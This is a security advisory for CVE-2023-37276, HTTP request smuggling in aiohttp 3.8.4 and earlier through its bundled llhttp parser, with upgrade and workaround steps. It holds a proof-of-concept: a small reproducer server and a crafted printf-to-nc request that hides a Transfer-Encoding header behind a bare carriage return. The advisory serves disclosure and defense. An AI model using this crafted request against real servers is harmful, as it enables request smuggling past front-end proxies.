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Security Advisories: GSA_kwCzR0hTQS00NWM0LTh3eDUtcXc2d84AA00K
aiohttp.web.Application vulnerable to HTTP request smuggling via llhttp HTTP request parser
Impact
aiohttp v3.8.4 and earlier are bundled with llhttp v6.0.6 which is vulnerable to CVE-2023-30589. The vulnerable code is used by aiohttp for its HTTP request parser when available which is the default case when installing from a wheel.
This vulnerability only affects users of aiohttp as an HTTP server (ie aiohttp.Application
), you are not affected by this vulnerability if you are using aiohttp as an HTTP client library (ie aiohttp.ClientSession
).
Reproducer
from aiohttp import web
async def example(request: web.Request):
headers = dict(request.headers)
body = await request.content.read()
return web.Response(text=f"headers: {headers} body: {body}")
app = web.Application()
app.add_routes([web.post('/', example)])
web.run_app(app)
Sending a crafted HTTP request will cause the server to misinterpret one of the HTTP header values leading to HTTP request smuggling.
$ printf "POST / HTTP/1.1\r\nHost: localhost:8080\r\nX-Abc: \rxTransfer-Encoding: chunked\r\n\r\n1\r\nA\r\n0\r\n\r\n" \
| nc localhost 8080
Expected output:
headers: {'Host': 'localhost:8080', 'X-Abc': '\rxTransfer-Encoding: chunked'} body: b''
Actual output (note that 'Transfer-Encoding: chunked' is an HTTP header now and body is treated differently)
headers: {'Host': 'localhost:8080', 'X-Abc': '', 'Transfer-Encoding': 'chunked'} body: b'A'
Patches
Upgrade to the latest version of aiohttp to resolve this vulnerability. It has been fixed in v3.8.5: pip install aiohttp >= 3.8.5
Workarounds
If you aren't able to upgrade you can reinstall aiohttp using AIOHTTP_NO_EXTENSIONS=1
as an environment variable to disable the llhttp HTTP request parser implementation. The pure Python implementation isn't vulnerable to request smuggling:
$ python -m pip uninstall --yes aiohttp
$ AIOHTTP_NO_EXTENSIONS=1 python -m pip install --no-binary=aiohttp --no-cache aiohttp
References Permalink: https://github.com/advisories/GHSA-45c4-8wx5-qw6w
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NWM0LTh3eDUtcXc2d84AA00K
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: 9 months ago
Updated: 6 months ago
CVSS Score: 5.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Identifiers: GHSA-45c4-8wx5-qw6w, CVE-2023-37276
References:
- https://github.com/aio-libs/aiohttp/security/advisories/GHSA-45c4-8wx5-qw6w
- https://nvd.nist.gov/vuln/detail/CVE-2023-37276
- https://github.com/aio-libs/aiohttp/commit/9337fb3f2ab2b5f38d7e98a194bde6f7e3d16c40
- https://github.com/aio-libs/aiohttp/commit/9c13a52c21c23dfdb49ed89418d28a5b116d0681
- https://hackerone.com/reports/2001873
- https://github.com/aio-libs/aiohttp/blob/v3.8.4/.gitmodules
- https://github.com/aio-libs/aiohttp
- https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-120.yaml
- https://github.com/advisories/GHSA-45c4-8wx5-qw6w
Blast Radius: 25.6
Affected Packages
pypi:aiohttp
Dependent packages: 4,004Dependent repositories: 66,431
Downloads: 107,102,656 last month
Affected Version Ranges: <= 3.8.4
Fixed in: 3.8.5
All affected versions: 0.4.1, 0.4.2, 0.4.3, 0.4.4, 0.5.0, 0.6.0, 0.6.1, 0.6.2, 0.6.3, 0.6.4, 0.6.5, 0.7.0, 0.7.1, 0.7.2, 0.7.3, 0.8.0, 0.8.1, 0.8.2, 0.8.3, 0.8.4, 0.9.0, 0.9.1, 0.9.2, 0.9.3, 0.10.0, 0.10.1, 0.10.2, 0.11.0, 0.12.0, 0.13.0, 0.13.1, 0.14.0, 0.14.1, 0.14.2, 0.14.3, 0.14.4, 0.15.0, 0.15.1, 0.15.2, 0.15.3, 0.16.0, 0.16.1, 0.16.2, 0.16.3, 0.16.4, 0.16.5, 0.16.6, 0.17.0, 0.17.1, 0.17.2, 0.17.3, 0.17.4, 0.18.0, 0.18.1, 0.18.2, 0.18.3, 0.18.4, 0.19.0, 0.20.0, 0.20.1, 0.20.2, 0.21.0, 0.21.1, 0.21.2, 0.21.4, 0.21.5, 0.21.6, 0.22.0, 0.22.1, 0.22.2, 0.22.3, 0.22.4, 0.22.5, 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.5, 1.1.0, 1.1.1, 1.1.2, 1.1.3, 1.1.4, 1.1.5, 1.1.6, 1.2.0, 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.3.4, 1.3.5, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.0.5, 2.0.6, 2.0.7, 2.1.0, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.2.4, 2.2.5, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.3.4, 2.3.5, 2.3.6, 2.3.7, 2.3.8, 2.3.9, 2.3.10, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.0.7, 3.0.8, 3.0.9, 3.1.0, 3.1.1, 3.1.2, 3.1.3, 3.2.0, 3.2.1, 3.3.0, 3.3.1, 3.3.2, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4, 3.5.0, 3.5.1, 3.5.2, 3.5.3, 3.5.4, 3.6.0, 3.6.1, 3.6.2, 3.6.3, 3.7.0, 3.7.1, 3.7.2, 3.7.3, 3.7.4, 3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4
All unaffected versions: 3.8.5, 3.8.6, 3.9.0, 3.9.1, 3.9.2, 3.9.3, 3.9.4, 3.9.5